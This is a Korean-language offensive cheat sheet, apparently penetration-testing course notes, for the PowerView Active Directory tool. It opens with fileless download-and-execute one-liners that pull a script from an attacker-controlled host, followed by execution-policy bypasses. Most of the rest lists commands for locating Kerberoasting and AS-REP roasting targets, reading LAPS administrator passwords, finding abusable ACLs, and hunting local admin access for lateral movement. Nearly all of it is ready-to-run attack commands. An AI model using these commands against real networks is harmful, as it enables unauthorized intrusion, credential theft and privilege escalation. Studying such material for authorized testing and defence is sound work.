1. 인메모리(In-Memory) 로딩

디스크에 파일을 남기지 않고 메모리에서 바로 실행하는 방식

원격 다운로드 후 실행 (가장 흔한 방식)

powershell

IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/PowerView.ps1')

축약형

powershell

iex(iwr -uri 'http://<ATTACKER_IP>/PowerView.ps1' -UseBasicParsing)

TLS 오류 발생 시 (일부 환경에서 필요)

powershell

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (New-Object Net.WebClient).DownloadString('https://<ATTACKER_IP>/PowerView.ps1')

2. 파일로 저장 후 로딩

파일을 대상 시스템에 올려둔 뒤 dot-sourcing으로 불러오는 방식

Dot-sourcing (권장)

powershell

. .\PowerView.ps1

앞의 . (점 + 공백)이 핵심입니다. 이걸 빼면 함수들이 현재 세션에 로드되지 않음

Import-Module 방식

powershell

Import-Module .\PowerView.ps1

실행 정책(Execution Policy)에 막힐 경우

powershell

powershell -ep bypass
# 또는
Set-ExecutionPolicy Bypass -Scope Process -Force

3. 주요 명령어

도메인 / 기본 정보

powershell

Get-Domain                          # 현재 도메인 정보
Get-DomainController                # 도메인 컨트롤러 조회
Get-DomainPolicy                    # 도메인 정책 (패스워드 정책 등)
Get-Forest                          # 포레스트 정보

사용자 / 그룹 열거

powershell

Get-DomainUser                      # 전체 도메인 유저
Get-DomainUser -Identity <user>     # 특정 유저
Get-DomainUser -SPN                 # Kerberoasting 대상 (SPN 설정된 계정)
Get-DomainUser -PreauthNotRequired  # AS-REP Roasting 대상
Get-DomainGroup                     # 그룹 열거
Get-DomainGroupMember "Domain Admins"  # 특정 그룹 멤버

컴퓨터 / 세션

powershell

Get-DomainComputer                  # 도메인 내 컴퓨터
Get-DomainComputer -Ping            # 살아있는 호스트만
Find-DomainUserLocation             # 특정 유저가 로그인한 위치 추적
Get-NetSession -ComputerName <host> # 세션 정보
Get-NetLoggedon -ComputerName <host>

권한 / ACL (권한 상승 경로 탐색)

powershell

Get-DomainObjectAcl -Identity <user> -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs   # 악용 가능한 ACL 탐색

공유 / GPO / 신뢰관계

powershell

Find-DomainShare                    # 접근 가능한 SMB 공유
Find-DomainShare -CheckShareAccess
Get-DomainGPO                       # GPO 열거
Get-DomainTrust                     # 도메인 신뢰 관계
Get-DomainTrustMapping              # 전체 신뢰 관계 매핑

로컬 관리자 권한 탐색 (측면 이동 핵심)

powershell

Find-LocalAdminAccess               # 현재 계정이 로컬 관리자인 호스트 탐색
Invoke-UserHunter                   # 타겟 유저 위치 헌팅

Get-NetComputer | Select-Object -ExpandProperty dnshostname 시스템조회, dns에 등록된 호스트 이름 조회

Get-NetComputer | Select-Object -ExpandProperty samaccountname 시스템조회 , SAM에 등록된 계정이름 조회(도메인에 등록된 이름)

Get-DomainUser | Select-Object -ExpandProperty samaccountname 도메인유저 | 도메인에 등록된 유저 이름 정보(현재 도메인에서)

Get-DomainGroup | Select-Object -ExpandProperty samaccountname 도메인 그룹 | 도메인에 등록된 그룹 이름 정보

Get-DomainComputer -Identity client75 | select samaccountname,ms-mcs-admpwd LAPSPassword 공격 가능

Get-DomainTrust 신뢰관계 도메인 정보 출력

Get-NetUser -SPN | select samaccountname,serviceprincipalname SPN정보 출력

ping를 통해 머신 ip를 확인할 수 있음(방화벽 허용 중일 경우) nslookup domainname 같이 정리 해놓을것!

Get-ObjectAcl -Identity stephanie(DomainUserName) SID출력 Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104 sid를 통해 접속 할 수 있는(권한) 서비스 식별

Get-ObjectAcl -Identity “Management Department” | ? {$_.ActiveDirectoryRights -eq “GenericAll”} | select SecurityIdentifier,ActiveDirectoryRights 그룹에 대한 권한 확인 Find-DomainShare 도메인내 공유폴더 확인